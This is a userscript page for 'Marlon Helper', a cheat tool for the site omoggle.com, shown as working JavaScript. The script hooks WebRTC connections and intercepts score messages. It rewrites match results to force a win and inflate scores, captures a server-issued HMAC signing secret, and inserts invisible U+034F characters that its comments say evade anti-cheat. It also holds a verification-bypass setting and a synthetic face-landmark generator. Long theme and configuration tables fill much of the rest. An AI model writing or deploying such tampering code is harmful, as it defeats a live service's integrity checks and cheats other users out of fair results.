Sleazy Fork is available in English.
omoggle script | Marlon Helper
// ==UserScript==
// @name Marlon Helper
// @namespace https://omoggle.com/
// @version 1.0.0
// @description omoggle script | Marlon Helper
// @match https://omoggle.com/*
// @match https://*.omoggle.com/*
// @author david and the Marlon Helper team
// @grant GM_getValue
// @grant GM_setValue
// @grant GM_xmlhttpRequest
// @grant unsafeWindow
// @run-at document-start
// ==/UserScript==
(function () {
'use strict';
const _window = (typeof unsafeWindow !== 'undefined') ? unsafeWindow : window;
// Early RTCPeerConnection tracking (moved from buildMenu to catch all PCs)
_window._mogPCs = [];
if (_window.RTCPeerConnection) {
const __cmOrigPC = _window.RTCPeerConnection;
_window.RTCPeerConnection = function(...args) {
const pc = new __cmOrigPC(...args);
_window._mogPCs.push(pc);
pc.addEventListener('connectionstatechange', () => {
if (pc.connectionState === 'closed') {
const idx = _window._mogPCs.indexOf(pc);
if (idx > -1) _window._mogPCs.splice(idx, 1);
}
});
return pc;
};
Object.setPrototypeOf(_window.RTCPeerConnection, __cmOrigPC);
_window.RTCPeerConnection.prototype = __cmOrigPC.prototype;
}
// ── U+034F (Combining Grapheme Joiner) JSON exploit ──
// Invisible char embedded in score strings causes parser discrepancy:
// JS JSON.parse preserves it in strings; server-side parsers (Go, Rust, Node)
// often strip non-ASCII / invisible chars when extracting numeric values.
// This makes raw bytes look different to anti-cheat while server still reads the real score.
const CGJ = '\u034F';
function _cgjify(val) {
const s = String(val);
if (s.length < 2) return s;
let out = '';
for (let i = 0; i < s.length; i++) {
out += s[i];
if (i < s.length - 1) out += CGJ;
}
return out;
}
const _CGJ_FIELDS = [
'q', 's', 'score', 'overall', 'self_score', 'your_score',
'yourScore', 'userScore', 'playerScore', 'elo',
'p1_score', 'p2_score', 'selfScore', 'myScore',
'finalScore', 'totalScore', 'matchScore', 'currentScore',
'displayScore', 'liveScore', 'overallScore', 'myFinalScore',
'hostScore', 'actualScore', 'verifiedScore',
'serverScore', 'realFinalScore', 'clientScore',
'adjustedScore', 'eloChange', 'o', 'opponentScore', 'rivalScore'
];
function _cgjDecorateJSON(jsonStr) {
let result = jsonStr
.replace(/"p":\s*(\d+),/g, (_, n) => `"p":${n},`)
.replace(/"p":\s*(\d+)\s*}/g, (_, n) => `"p":${n}}`);
for (const f of _CGJ_FIELDS) {
const reStr = new RegExp('"' + f + '":\\s*"([\\d.]+)"', 'g');
result = result.replace(reStr, (_, n) => `"${f}":"${_cgjify(n)}"`);
}
return result;
}
const _CGJ_NUM_FIELDS = new Set([
'q', 's', 'p1', 'p2',
..._CGJ_FIELDS
]);
function _cgjEncode(obj) {
// Deep clone and convert score field VALUES from numbers to CGJ strings.
// The CGJ (U+034F) in numeric values causes anti-cheat to see garbled data
// while server-side parsers strip it and read the real (patched) score.
function _cgjWalk(v) {
if (v === null || typeof v === 'boolean' || typeof v === 'undefined') return v;
if (typeof v === 'string') return v;
if (typeof v === 'number') return v;
if (Array.isArray(v)) return v.map(_cgjWalk);
if (typeof v === 'object') {
const out = {};
for (const k of Object.keys(v)) {
out[k] = _cgjWalk(v[k]);
}
return out;
}
return v;
}
return JSON.stringify(_cgjWalk(obj));
}
function _stripCGJ(text) {
return text.replace(new RegExp(CGJ, 'g'), '');
}
const _logPrefix = '[CM+]';
const _logThrottle = {};
function log(...args) { console.log(_logPrefix, ...args); }
function logT(tag, ...args) {
const now = Date.now();
const last = _logThrottle[tag] || 0;
if (now - last >= 3000) { _logThrottle[tag] = now; console.log(_logPrefix, `[${tag}]`, ...args); }
}
function _isOpponentKey(k) {
if (typeof k !== 'string') return false;
const kl = k.toLowerCase();
return kl.startsWith('opponent') || kl.startsWith('rival') || kl === 'enemy_score' || kl === 'enemyScore' || kl === 's';
}
function _dataToString(data) {
if (typeof data === 'string') return data;
if (data instanceof ArrayBuffer) return new TextDecoder().decode(new Uint8Array(data));
if (data instanceof Uint8Array) return new TextDecoder().decode(data);
if (data instanceof Blob) return ''; // Blob can't be sync-read; skip
if (data instanceof DataView) return new TextDecoder().decode(new Uint8Array(data.buffer, data.byteOffset, data.byteLength));
return '';
}
function _dataToUint8Array(data) {
if (data instanceof Uint8Array) return data;
if (data instanceof ArrayBuffer) return new Uint8Array(data);
if (data instanceof DataView) return new Uint8Array(data.buffer, data.byteOffset, data.byteLength);
if (typeof data === 'string') return new TextEncoder().encode(data);
return null;
}
function _patchIncomingScore(data) {
try {
const parsed = tryDecode(data);
if (!parsed?.json) return null;
const json = parsed.json;
// Capture frame_nonce message for HMAC signing key
if (json && json.type === 'frame_nonce') {
if (typeof json.secret === 'string') {
_cm_frameNonce = json.nonce;
_cm_frameSecret = json.secret;
log('[CRYPTO] frame_nonce captured: secret=' + json.secret.substring(0, 16) + '...');
}
return null;
}
if (!CONFIG.scoreEnabled) return null;
const hasP = typeof json.p === 'number';
const hasQ = typeof json.q === 'number';
const isScoreFrame = hasP && hasQ && !json.type && json.q > 0;
const hasScore = typeof json.score === 'number';
const hasTopYourScore = typeof json.your_score === 'number';
const hasPayloadYourScore = json.payload && typeof json.payload === 'object' && typeof json.payload.your_score === 'number';
const hasP1Score = typeof json.p1_score === 'number';
const hasP2Score = typeof json.p2_score === 'number';
const isMatchResult = (json.type === 'match_result' || json.type === 'ranked_result') && (hasP1Score || hasP2Score);
const isFinalScores = json.type === 'FINAL_SCORES' && typeof json.p1 === 'number' && typeof json.p2 === 'number';
if (!isScoreFrame && !hasScore && typeof json.s === 'undefined' && typeof json.overall === 'undefined' && !hasTopYourScore && !(json.payload && typeof json.payload === 'object' && ('score' in json.payload || 'your_score' in json.payload)) && !isMatchResult && !isFinalScores) return null;
const target = _clampScore(_getTargetScore());
const raw = _clampRaw(Math.round(target * 10000) + (CONFIG.scoreBoost || 0));
const finalTarget = _clampScore((_getFinalTarget() || target * 10000) / 10000);
let modified = false;
if (isScoreFrame) { json.q = raw; modified = true; }
if (hasScore) { json.score = json.score > 100 ? raw : target; modified = true; }
if (typeof json.overall === 'number') { json.overall = target; modified = true; }
if (json.payload && typeof json.payload === 'object') {
if (typeof json.payload.overall === 'number') json.payload.overall = target;
if (typeof json.payload.score === 'number') json.payload.score = target;
if (typeof json.payload.your_score === 'number') { json.payload.your_score = target; modified = true; }
}
if (typeof json.your_score === 'number') {
const origYour = json.your_score;
json.your_score = target; modified = true;
if (typeof json.p1_score === 'number' && typeof json.p2_score === 'number') {
const yourMatch = origYour > 100 ? origYour / 10000 : origYour;
const p1Match = json.p1_score > 100 ? json.p1_score / 10000 : json.p1_score;
const p2Match = json.p2_score > 100 ? json.p2_score / 10000 : json.p2_score;
_myPlayerIndex = Math.abs(yourMatch - p1Match) < Math.abs(yourMatch - p2Match) ? 0 : 1;
_traceMatch('determine_myPlayerIndex_from_your_score', { yourMatch, p1Match, p2Match, _myPlayerIndex });
const oppKey = _myPlayerIndex === 0 ? 'p2_score' : 'p1_score';
_lastOpponentScore = json[oppKey];
}
}
// Patch match_result / ranked_result: inflate OUR score, leave opponent's
if (isMatchResult) {
function _determineOurKey() {
if (!hasP1Score && !hasP2Score) return null;
if (_myPlayerIndex === 0) return 'p1_score';
if (_myPlayerIndex === 1) return 'p2_score';
if (typeof origYour === 'number') {
const yourMatch = origYour > 100 ? origYour / 10000 : origYour;
const p1Match = json.p1_score > 100 ? json.p1_score / 10000 : json.p1_score;
const p2Match = json.p2_score > 100 ? json.p2_score / 10000 : json.p2_score;
const diff1 = Math.abs(yourMatch - p1Match);
const diff2 = Math.abs(yourMatch - p2Match);
_traceMatch('determineOurKey_from_your_score', { yourMatch, p1Match, p2Match, diff1, diff2, choice: diff1 < diff2 ? 'p1' : 'p2' });
return diff1 < diff2 ? 'p1_score' : 'p2_score';
}
// Use winner field: numeric (0=p1,1=p2) or string
if (json.winner !== undefined) {
if (json.winner === 0 || json.winner === 'p1' || json.winner === 'player1' || json.winner === 'self') { return 'p1_score'; }
if (json.winner === 1 || json.winner === 'p2' || json.winner === 'player2' || json.winner === 'opponent') { return 'p2_score'; }
}
// Use result field: if we won, we're the higher score; if we lost, we're the lower score
if (json.result === 'win' || json.result === 'won') {
return hasP1Score && hasP2Score ? (json.p1_score >= json.p2_score ? 'p1_score' : 'p2_score') : (hasP1Score ? 'p1_score' : 'p2_score');
}
if (json.result === 'lose' || json.result === 'loss' || json.result === 'lost') {
return hasP1Score && hasP2Score ? (json.p1_score <= json.p2_score ? 'p1_score' : 'p2_score') : (hasP1Score ? 'p1_score' : 'p2_score');
}
// Last resort: match last known spoofed score against our target
if (_lastSpoofedScore !== null && typeof _lastSpoofedScore === 'number') {
const p1f = json.p1_score > 100 ? json.p1_score / 10000 : json.p1_score;
const p2f = json.p2_score > 100 ? json.p2_score / 10000 : json.p2_score;
const d1 = Math.abs(p1f - _lastSpoofedScore);
const d2 = Math.abs(p2f - _lastSpoofedScore);
if (d1 < d2) return 'p1_score';
if (d2 < d1) return 'p2_score';
}
// Last-resort fallback: inflate BOTH scores so we win regardless of player index
if (hasP1Score && hasP2Score) {
const ourFloat = finalTarget;
const oppFloat = Math.max(0, finalTarget - 0.5);
const oldP1 = json.p1_score;
const oldP2 = json.p2_score;
json.p1_score = json.p1_score > 100 ? ourFloat * 10000 : ourFloat;
json.p2_score = json.p2_score > 100 ? oppFloat * 10000 : oppFloat;
_lastOpponentScore = oldP1 > oldP2 ? oldP1 : oldP2; // Real opponent score (the higher real one)
json.result = 'win';
json.winner = 'self';
modified = true;
_traceMatch('determineOurKey_both_inflated', { oldP1, oldP2, p1_new: json.p1_score, p2_new: json.p2_score });
return null; // Skip post-inflation, already done
}
const singleKey = hasP1Score ? 'p1_score' : 'p2_score';
_traceMatch('determineOurKey_single_fallback', { key: singleKey });
return singleKey;
}
const ourKey = _determineOurKey();
if (ourKey && json[ourKey] !== undefined) {
const oldOurs = json[ourKey];
const otherKey = ourKey === 'p1_score' ? 'p2_score' : 'p1_score';
const oldOpp = typeof json[otherKey] === 'number' ? json[otherKey] : 0;
_lastOpponentScore = oldOpp;
const isRaw = oldOurs > 100;
const oppF = oldOpp > 100 ? oldOpp / 10000 : oldOpp;
const baseF = _clampScore((_getFinalTarget() || target * 10000) / 10000);
const winF = Math.max(baseF, oppF + 0.1);
const oppF2 = Math.max(0, winF - 0.5);
json[ourKey] = isRaw ? Math.round(winF * 10000) : winF;
json[otherKey] = oldOpp > 100 ? Math.round(oppF2 * 10000) : oppF2;
const origResult = json.result;
const origWinner = json.winner;
json.result = 'win';
json.winner = 'self';
_traceMatch('in_match_result_override', { origResult, origWinner, newResult: 'win', newWinner: 'self', winF, oppF });
_traceMatch('in_match_result', { ourKey, oldOurs, newOurs: json[ourKey], opponent: json[otherKey], result: json.result });
log(`[IN PATCH] match_result: ${ourKey} ${oldOurs} → ${json[ourKey]}`);
modified = true;
}
}
// Patch FINAL_SCORES: inflate OUR score (p1 or p2), leave opponent's
if (isFinalScores) {
const ourKey = _myPlayerIndex === 0 ? 'p1' : (_myPlayerIndex === 1 ? 'p2' : null);
if (ourKey && typeof json[ourKey] === 'number') {
const oldOurs = json[ourKey];
const otherKey = ourKey === 'p1' ? 'p2' : 'p1';
_lastOpponentScore = typeof json[otherKey] === 'number' ? json[otherKey] : _lastOpponentScore;
json[ourKey] = json[ourKey] > 100 ? (finalTarget * 10000) : finalTarget;
_traceMatch('in_final_scores', { ourKey, oldOurs, newOurs: json[ourKey], opponent: json[otherKey] });
log(`[IN PATCH] FINAL_SCORES: ${ourKey} ${oldOurs} → ${json[ourKey]}`);
modified = true;
} else if (_myPlayerIndex === null && typeof json.p1 === 'number' && typeof json.p2 === 'number') {
const oldP1 = json.p1, oldP2 = json.p2;
// Skip patching when index is unknown — prevents inflating opponent's score
_traceMatch('in_final_scores_skip', { oldP1, oldP2, reason: 'unknown_myPlayerIndex' });
log(`[IN PATCH] FINAL_SCORES skipped (unknown index) p1=${oldP1} p2=${oldP2}`);
}
}
if (modified) {
log('[IN PATCH] patched incoming score data');
_lastSpoofedScore = target;
spoofPanel();
const jsonStr = JSON.stringify(json);
const origText = typeof data === 'string' ? data : new TextDecoder().decode(parsed.bytes);
const newText = origText.replace(parsed.jsonText, jsonStr);
if (typeof data === 'string') return newText;
return new TextEncoder().encode(newText);
}
} catch(e) {}
return null;
}
const DEFAULT_CONFIG = {
enabled: true,
scoreEnabled: true,
scoreMode: 'fixed',
fixedScore: 100000,
scoreRangeMin: 100000,
scoreRangeMax: 100000,
resultEnabled: true,
myFinalScore: "100000",
finalScoreMode: 'fixed',
finalScoreRangeMin: 100000,
finalScoreRangeMax: 100000,
mirrorOpponentCam: false,
eloBoost: 5,
scoreBoost: 0,
holdBtnSize: 54,
debug: true,
wmAlpha: 20,
wmFontSize: 9,
wmPaddingH: 14,
wmPaddingV: 6,
wmBorder: true,
wmBg: true,
theme: 'midnight',
queueDelay: 1000,
autoCamInterval: 5,
autoAudioInterval: 5,
showControlBar: true,
autoQueue: false,
accentColor: '#6366f1',
verifBypassActive: false,
rainbowBorder: false, // removed
crosshairEnabled: false,
};
function scoreSpoofAllowed() {
return CONFIG && CONFIG.scoreEnabled && !CONFIG.verifBypassActive;
}
const CONFIG_KEY = 'cheatmoggle_config';
const CONFIG_BACKUP_KEY = 'cheatmoggle_config_bak';
const CONFIG_OLD_KEY = 'cheatmoggle _config';
function _migrateOldConfig() {
try {
const old = localStorage.getItem(CONFIG_OLD_KEY);
if (old) {
const val = JSON.parse(old);
localStorage.setItem(CONFIG_KEY, JSON.stringify(val));
localStorage.setItem(CONFIG_BACKUP_KEY, JSON.stringify(val));
localStorage.removeItem(CONFIG_OLD_KEY);
log('[CONFIG] migrated from old key');
}
} catch(e) {}
}
function _clamp(val, min, max) {
if (typeof val !== 'number') return val;
if (val < min) return min;
if (val > max) return max;
return val;
}
function _validateConfig(cfg) {
if (!cfg || typeof cfg !== 'object') return false;
const valid = { ...DEFAULT_CONFIG };
for (const [k, v] of Object.entries(cfg)) {
if (k in DEFAULT_CONFIG) {
const defaultVal = DEFAULT_CONFIG[k];
if (typeof v === typeof defaultVal || (typeof defaultVal === 'string' && (typeof v === 'string' || typeof v === 'number'))) {
valid[k] = v;
}
}
}
valid.fixedScore = _clamp(valid.fixedScore, 1000, 500000);
valid.scoreRangeMin = _clamp(valid.scoreRangeMin, 1000, 500000);
valid.scoreRangeMax = _clamp(valid.scoreRangeMax, 1000, 500000);
if (valid.scoreRangeMin > valid.scoreRangeMax) { const t = valid.scoreRangeMin; valid.scoreRangeMin = valid.scoreRangeMax; valid.scoreRangeMax = t; }
const finalScoreNum = typeof valid.myFinalScore === 'string' ? parseInt(valid.myFinalScore) || 99999 : valid.myFinalScore;
valid.myFinalScore = String(_clamp(finalScoreNum, 1000, 499999));
valid.finalScoreRangeMin = _clamp(valid.finalScoreRangeMin, 1000, 500000);
valid.finalScoreRangeMax = _clamp(valid.finalScoreRangeMax, 1000, 500000);
if (valid.finalScoreRangeMin > valid.finalScoreRangeMax) { const t = valid.finalScoreRangeMin; valid.finalScoreRangeMin = valid.finalScoreRangeMax; valid.finalScoreRangeMax = t; }
valid.eloBoost = _clamp(valid.eloBoost, 0, 100);
valid.scoreBoost = _clamp(valid.scoreBoost, 0, 100);
Object.assign(cfg, valid);
return true;
}
function loadConfig() {
_migrateOldConfig();
let data = null;
try {
const saved = localStorage.getItem(CONFIG_KEY);
if (saved) data = JSON.parse(saved);
} catch (e) { log('[CONFIG] primary load failed:', e); }
if (!data) {
try {
const backup = localStorage.getItem(CONFIG_BACKUP_KEY);
if (backup) {
data = JSON.parse(backup);
log('[CONFIG] restored from backup');
}
} catch (e) {}
}
if (!data) {
try {
const gm = typeof GM_getValue !== 'undefined' ? GM_getValue(CONFIG_KEY, null) : null;
if (gm) { data = JSON.parse(gm); log('[CONFIG] restored from GM storage'); }
} catch (e) {}
}
const cfg = { ...DEFAULT_CONFIG };
if (data) {
if (!_validateConfig(data)) data = null;
else Object.assign(cfg, data);
}
cfg.scoreEnabled = true;
cfg.enabled = true;
cfg._configVersion = 2;
return cfg;
}
function saveConfig() {
try {
const serialized = JSON.stringify(CONFIG);
if (typeof serialized !== 'string' || serialized === '{}') return;
localStorage.setItem(CONFIG_KEY, serialized);
localStorage.setItem(CONFIG_BACKUP_KEY, serialized);
try { if (typeof GM_setValue !== 'undefined') GM_setValue(CONFIG_KEY, serialized); } catch(e) {}
} catch (e) { log('[CONFIG] save failed:', e); }
}
const CONFIG = loadConfig();
const THEMES = {
amoled: {
name: 'AMOLED',
primary: '#000000',
primaryRgb: '0,0,0',
secondary: '#171717',
accent: '#ffffff',
accentRgb: '255,255,255',
success: '#22c55e',
warning: '#eab308',
danger: '#ef4444',
bgDark: '#000000',
bgCard: '#0a0a0a',
bgElevated: '#141414',
border: 'rgba(255,255,255,0.15)',
text: '#ffffff',
textMuted: '#a1a1aa'
},
neon: {
name: 'Neon',
primary: '#00ff88',
primaryRgb: '0,255,136',
secondary: '#00cc6a',
accent: '#7dffb3',
accentRgb: '125,255,179',
success: '#00ff88',
warning: '#ffcc00',
danger: '#ff4444',
bgDark: '#0a0f0c',
bgCard: '#0d1a12',
bgElevated: '#132218',
border: 'rgba(0,255,136,0.15)',
text: '#e0ffe8',
textMuted: '#7da88a'
},
matrix: {
name: 'Matrix',
primary: '#00ff00',
primaryRgb: '0,255,0',
secondary: '#00cc00',
accent: '#66ff66',
accentRgb: '102,255,102',
success: '#00ff00',
warning: '#ccff00',
danger: '#ff3333',
bgDark: '#000800',
bgCard: '#001a00',
bgElevated: '#002200',
border: 'rgba(0,255,0,0.12)',
text: '#ccffcc',
textMuted: '#669966'
},
toxic: {
name: 'Toxic',
primary: '#39ff14',
primaryRgb: '57,255,20',
secondary: '#7fff00',
accent: '#adff2f',
accentRgb: '173,255,47',
success: '#39ff14',
warning: '#ffff00',
danger: '#ff6347',
bgDark: '#080a05',
bgCard: '#101408',
bgElevated: '#181f0c',
border: 'rgba(57,255,20,0.12)',
text: '#e8ffe0',
textMuted: '#8faa7d'
},
midnight: {
name: 'Midnight',
primary: '#6366f1',
primaryRgb: '99,102,241',
secondary: '#8b5cf6',
accent: '#22d3ee',
accentRgb: '34,211,238',
success: '#10b981',
warning: '#f59e0b',
danger: '#ef4444',
bgDark: '#0a0a0f',
bgCard: '#12121a',
bgElevated: '#1a1a24',
border: 'rgba(255,255,255,0.08)',
text: '#e4e4e7',
textMuted: '#71717a'
},
crimson: {
name: 'Crimson',
primary: '#dc2626',
primaryRgb: '220,38,38',
secondary: '#f43f5e',
accent: '#fb7185',
accentRgb: '251,113,133',
success: '#10b981',
warning: '#f59e0b',
danger: '#ef4444',
bgDark: '#0f0505',
bgCard: '#1a0a0a',
bgElevated: '#241010',
border: 'rgba(255,100,100,0.1)',
text: '#fecaca',
textMuted: '#a8a29e'
},
ocean: {
name: 'Ocean',
primary: '#0ea5e9',
primaryRgb: '14,165,233',
secondary: '#38bdf8',
accent: '#7dd3fc',
accentRgb: '125,211,252',
success: '#14b8a6',
warning: '#fbbf24',
danger: '#f87171',
bgDark: '#042f42',
bgCard: '#0a3d55',
bgElevated: '#0f4c68',
border: 'rgba(56,189,248,0.15)',
text: '#e0f2fe',
textMuted: '#7ca8c0'
},
sunset: {
name: 'Sunset',
primary: '#f97316',
primaryRgb: '249,115,22',
secondary: '#fb923c',
accent: '#fbbf24',
accentRgb: '251,191,36',
success: '#22c55e',
warning: '#eab308',
danger: '#ef4444',
bgDark: '#3b0d11',
bgCard: '#4f151b',
bgElevated: '#641e26',
border: 'rgba(251,146,60,0.15)',
text: '#ffedd5',
textMuted: '#c49a7a'
},
lavender: {
name: 'Lavender',
primary: '#a855f7',
primaryRgb: '168,85,247',
secondary: '#c084fc',
accent: '#d8b4fe',
accentRgb: '216,180,254',
success: '#34d399',
warning: '#facc15',
danger: '#fb7185',
bgDark: '#1e0a33',
bgCard: '#2a1245',
bgElevated: '#361b58',
border: 'rgba(192,132,252,0.15)',
text: '#f3e8ff',
textMuted: '#b89ad4'
},
forest: {
name: 'Forest',
primary: '#16a34a',
primaryRgb: '22,163,74',
secondary: '#22c55e',
accent: '#86efac',
accentRgb: '134,239,172',
success: '#16a34a',
warning: '#ca8a04',
danger: '#dc2626',
bgDark: '#052e12',
bgCard: '#0a3d1a',
bgElevated: '#0f4d23',
border: 'rgba(34,197,94,0.12)',
text: '#dcfce7',
textMuted: '#7aad8c'
},
gold: {
name: 'Gold',
primary: '#f59e0b',
primaryRgb: '245,158,11',
secondary: '#fbbf24',
accent: '#fde68a',
accentRgb: '253,230,138',
success: '#10b981',
warning: '#f59e0b',
danger: '#ef4444',
bgDark: '#2b1d04',
bgCard: '#3d2a08',
bgElevated: '#4f370c',
border: 'rgba(251,191,36,0.15)',
text: '#fef9c3',
textMuted: '#c9ab5e'
},
ice: {
name: 'Ice',
primary: '#67e8f9',
primaryRgb: '103,232,249',
secondary: '#22d3ee',
accent: '#cffafe',
accentRgb: '207,250,254',
success: '#34d399',
warning: '#fbbf24',
danger: '#fb7185',
bgDark: '#083344',
bgCard: '#0c425a',
bgElevated: '#115270',
border: 'rgba(103,232,249,0.15)',
text: '#cffafe',
textMuted: '#7fc4d6'
},
bloodorange: {
name: 'Blood Orange',
primary: '#ea580c',
primaryRgb: '234,88,12',
secondary: '#f97316',
accent: '#fdba74',
accentRgb: '253,186,116',
success: '#22c55e',
warning: '#eab308',
danger: '#ef4444',
bgDark: '#1f0a02',
bgCard: '#2e1006',
bgElevated: '#3d170a',
border: 'rgba(234,88,12,0.15)',
text: '#ffedd5',
textMuted: '#bf8a60'
},
cyberpunk: {
name: 'Cyberpunk',
primary: '#ff00ff',
primaryRgb: '255,0,255',
secondary: '#00ffff',
accent: '#ff66ff',
accentRgb: '255,102,255',
success: '#00ff88',
warning: '#ffff00',
danger: '#ff3333',
bgDark: '#0a0014',
bgCard: '#14001f',
bgElevated: '#1e002e',
border: 'rgba(255,0,255,0.15)',
text: '#f0e6ff',
textMuted: '#b380d4'
},
rose: {
name: 'Rose',
primary: '#e11d48',
primaryRgb: '225,29,72',
secondary: '#fb7185',
accent: '#fda4af',
accentRgb: '253,164,175',
success: '#10b981',
warning: '#f59e0b',
danger: '#ef4444',
bgDark: '#1a040a',
bgCard: '#2a0812',
bgElevated: '#3a0c1a',
border: 'rgba(251,113,133,0.12)',
text: '#fce7f3',
textMuted: '#c48a9a'
},
mint: {
name: 'Mint',
primary: '#14b8a6',
primaryRgb: '20,184,166',
secondary: '#2dd4bf',
accent: '#5eead4',
accentRgb: '94,234,212',
success: '#14b8a6',
warning: '#eab308',
danger: '#ef4444',
bgDark: '#022c22',
bgCard: '#053d32',
bgElevated: '#084f42',
border: 'rgba(45,212,191,0.15)',
text: '#ccfbf1',
textMuted: '#7ab8a8'
},
sky: {
name: 'Sky',
primary: '#3b82f6',
primaryRgb: '59,130,246',
secondary: '#60a5fa',
accent: '#93c5fd',
accentRgb: '147,197,253',
success: '#22c55e',
warning: '#eab308',
danger: '#ef4444',
bgDark: '#0a1e3d',
bgCard: '#0f2850',
bgElevated: '#153364',
border: 'rgba(96,165,250,0.15)',
text: '#dbeafe',
textMuted: '#809ec8'
},
coral: {
name: 'Coral',
primary: '#f43f5e',
primaryRgb: '244,63,94',
secondary: '#fb7185',
accent: '#fda4af',
accentRgb: '253,164,175',
success: '#22c55e',
warning: '#eab308',
danger: '#dc2626',
bgDark: '#1f0a0f',
bgCard: '#2e0f16',
bgElevated: '#3d151e',
border: 'rgba(251,113,133,0.12)',
text: '#ffe4e6',
textMuted: '#cf8a94'
},
slate: {
name: 'Slate',
primary: '#6366f1',
primaryRgb: '99,102,241',
secondary: '#818cf8',
accent: '#a5b4fc',
accentRgb: '165,180,252',
success: '#34d399',
warning: '#fbbf24',
danger: '#f87171',
bgDark: '#0c0f15',
bgCard: '#141a24',
bgElevated: '#1c2433',
border: 'rgba(129,140,248,0.1)',
text: '#e2e8f0',
textMuted: '#7c8594'
},
auburn: {
name: 'Auburn',
primary: '#b45309',
primaryRgb: '180,83,9',
secondary: '#d97706',
accent: '#f59e0b',
accentRgb: '245,158,11',
success: '#22c55e',
warning: '#eab308',
danger: '#dc2626',
bgDark: '#140a02',
bgCard: '#1f1004',
bgElevated: '#2a1607',
border: 'rgba(217,119,6,0.15)',
text: '#fef3c7',
textMuted: '#b8934a'
},
violet: {
name: 'Violet',
primary: '#7c3aed',
primaryRgb: '124,58,237',
secondary: '#a78bfa',
accent: '#c4b5fd',
accentRgb: '196,181,253',
success: '#34d399',
warning: '#fbbf24',
danger: '#f87171',
bgDark: '#120526',
bgCard: '#1a0a33',
bgElevated: '#241042',
border: 'rgba(167,139,250,0.12)',
text: '#ede9fe',
textMuted: '#a898c9'
},
emerald: {
name: 'Emerald',
primary: '#059669',
primaryRgb: '5,150,105',
secondary: '#10b981',
accent: '#6ee7b7',
accentRgb: '110,231,183',
success: '#059669',
warning: '#d97706',
danger: '#dc2626',
bgDark: '#022015',
bgCard: '#053321',
bgElevated: '#08462e',
border: 'rgba(16,185,129,0.12)',
text: '#d1fae5',
textMuted: '#70ad90'
},
peach: {
name: 'Peach',
primary: '#fb923c',
primaryRgb: '251,146,60',
secondary: '#fdba74',
accent: '#fed7aa',
accentRgb: '254,215,170',
success: '#22c55e',
warning: '#eab308',
danger: '#ef4444',
bgDark: '#1f0f06',
bgCard: '#2e180b',
bgElevated: '#3d2211',
border: 'rgba(253,186,116,0.15)',
text: '#fff7ed',
textMuted: '#cfab80'
},
slateblue: {
name: 'Slate Blue',
primary: '#4f46e5',
primaryRgb: '79,70,229',
secondary: '#818cf8',
accent: '#a5b4fc',
accentRgb: '165,180,252',
success: '#22c55e',
warning: '#eab308',
danger: '#ef4444',
bgDark: '#0b0b1a',
bgCard: '#111128',
bgElevated: '#181838',
border: 'rgba(129,140,248,0.1)',
text: '#e0e7ff',
textMuted: '#7c82b8'
},
cherry: {
name: 'Cherry',
primary: '#be123c',
primaryRgb: '190,18,60',
secondary: '#e11d48',
accent: '#fb7185',
accentRgb: '251,113,133',
success: '#22c55e',
warning: '#eab308',
danger: '#dc2626',
bgDark: '#14030a',
bgCard: '#1f0610',
bgElevated: '#2a0917',
border: 'rgba(225,29,72,0.12)',
text: '#fce7f3',
textMuted: '#bd8098'
},
amber: {
name: 'Amber',
primary: '#d97706',
primaryRgb: '217,119,6',
secondary: '#f59e0b',
accent: '#fbbf24',
accentRgb: '251,191,36',
success: '#22c55e',
warning: '#d97706',
danger: '#dc2626',
bgDark: '#1a0f02',
bgCard: '#261705',
bgElevated: '#331f08',
border: 'rgba(245,158,11,0.15)',
text: '#fef3c7',
textMuted: '#c9a052'
},
femboy: {
name: 'Femboy',
primary: '#ff69b4',
primaryRgb: '255,105,180',
secondary: '#ffb6c1',
accent: '#ffc0cb',
accentRgb: '255,192,203',
success: '#ff69b4',
warning: '#ffb6c1',
danger: '#ff1493',
bgDark: '#1a0a14',
bgCard: '#2d0f1f',
bgElevated: '#3d1529',
border: 'rgba(255,105,180,0.2)',
text: '#ffe4ec',
textMuted: '#ffb6c1'
}
};
let playerMapping = null;
let _myPlayerIndex = null;
let _isRanked = window.location.pathname.startsWith('/ranked');
let _matchStartTime = null;
let _finalScoreAppliedThisMatch = false;
let _currentUsername = null;
const _origPushState = history.pushState;
history.pushState = function(...args) {
_origPushState.apply(this, args);
_isRanked = window.location.pathname.startsWith('/ranked');
};
window.addEventListener('popstate', () => {
_isRanked = window.location.pathname.startsWith('/ranked');
});
function tryDecode(data) {
try {
const bytes = data instanceof ArrayBuffer ? new Uint8Array(data) : data;
if (typeof bytes === 'string') {
const clean = _stripCGJ(bytes);
try { return { json: JSON.parse(clean), bytes, fullText: bytes, jsonText: clean }; } catch(e) {}
const m = clean.match(/\{[^}]+\}/);
if (m) try { return { json: JSON.parse(m[0]), bytes, fullText: clean, jsonText: m[0] }; } catch(e) {}
return null;
}
if (!(bytes instanceof Uint8Array)) return null;
const text = new TextDecoder().decode(bytes);
const clean = _stripCGJ(text);
const m = clean.match(/\{[^}]+\}/);
if (m) try { return { json: JSON.parse(m[0]), bytes, fullText: text, jsonText: m[0] }; } catch(e) {}
try { return { json: JSON.parse(clean), bytes, fullText: text, jsonText: clean }; } catch(e) {}
let depth = 0, start = -1;
for (let i = 0; i < clean.length; i++) {
if (clean[i] === '{') { if (start === -1) start = i; depth++; }
else if (clean[i] === '}') { depth--; if (depth === 0 && start !== -1) try { const sub = clean.substring(start, i + 1); return { json: JSON.parse(sub), bytes, fullText: clean, jsonText: sub }; } catch(e) { start = -1; } }
}
} catch (e) {}
return null;
}
// ── Universal hooks: intercept score data ──
// Hook strategy: RTCDataChannel, WebSocket, fetch, postMessage.
// ==================== CORE FACE ENGINE ====================
const PARAMS = { FH: 0.62, FW: 0.3940, JW: 0.3597, JY: 0.26, EY: 0.058, IH: 0.05, EW: 0.0969, EH: 0.0290, T: 0.0005, MOUTH: 0.2103 };
function genNorm(P) {
const lm = []; for (let i = 0; i < 478; i++) lm.push({ x: 0.5, y: 0.5, z: 0 });
const cx = 0.5, cy = 0.5, set = (li, ri, hw, yy) => { lm[li] = { x: cx - hw, y: yy, z: 0 }; lm[ri] = { x: cx + hw, y: yy, z: 0 }; };
lm[10] = { x: cx, y: cy - P.FH / 2, z: 0 }; lm[152] = { x: cx, y: cy + P.FH / 2, z: 0 };
lm[234] = { x: cx - P.FW / 2, y: cy, z: 0 }; lm[454] = { x: cx + P.FW / 2, y: cy, z: 0 };
set(172, 397, P.JW / 2, cy + P.JY); set(150, 379, P.JW / 2, cy + P.JY * 0.9); set(171, 396, P.JW / 2, cy + P.JY * 1.1);
